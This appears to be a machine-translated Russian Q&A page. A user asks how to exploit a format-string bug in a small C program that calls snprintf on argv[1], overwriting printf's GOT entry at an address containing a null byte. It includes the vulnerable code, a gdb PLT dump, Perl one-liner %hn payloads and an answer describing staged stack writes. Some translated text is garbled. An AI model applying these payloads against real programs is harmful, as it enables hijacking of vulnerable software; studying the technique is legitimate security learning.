2013-05-06 2 views
1

Я пытаюсь выполнить возврат к строковой атаке формата libc, но адрес, который я хочу записать в (0x0804a000), имеет нулевой байт! Я должен прочитать в своей строке формата snprintf, поэтому нулевой байт заставляет его работать неправильно и Segfaults случайным образом.Возврат к Libc с Null байт в addr

buf[70]; 
snprintf(buf, 80, argv[1]); 
printf(buf); 

Вот это GDB дамп для Printf @ PLT:

(gdb) disassem 0x080483c0 
Dump of assembler code for function [email protected]: 
0x080483c0 <+0>: jmp *0x804a000 
0x080483c6 <+6>: push $0x0 
0x080483cb <+11>: jmp 0x80483b0 
End of assembler dump. 

Кто-нибудь есть какие-нибудь идеи?

Мой текущий метод работает его как этот

./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'` 

но есть нулевой байт. Я также попытался

./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'` 

но адрес перед 0x0804a000 имеет глобальную таблицу смещений, и поэтому snprintf еще до того, ошибки сегментации возврата к функции, которая вызывает его.

ответ

2

Общим путем является создание некоторой «конструкции памяти» с использованием стека.

В конце строительства вам нужно иметь где-то в стеке (назовём это местоположение п и скажем, что соответствует пятого параметра):

00 a0 04 08

Учитывая, что вы можете начать писать 0x01 (Или что вы предпочитаете, мы заинтересованы только в нулевой байт) в п-1. Память в месте n будет выглядеть так:

00 ?? ?? ??

Затем написать 0x04a0 в п + 1 Таким образом, память на месте п выглядит следующим образом:

00 a0 04 ??

Заключительный шаг должен был бы написать 0xff08 в п + 3.

Как только это будет сделано, вы можете использовать прямой доступ к параметрам, чтобы получить свой адрес и записать значение в указанном месте.

% 12345X% 5 $ п

Все, что вам нужно сделать, это играть с $ HN и $ п и найти способ, чтобы перекрывать данные, которые устраивают. Надеюсь, вы поняли эту идею.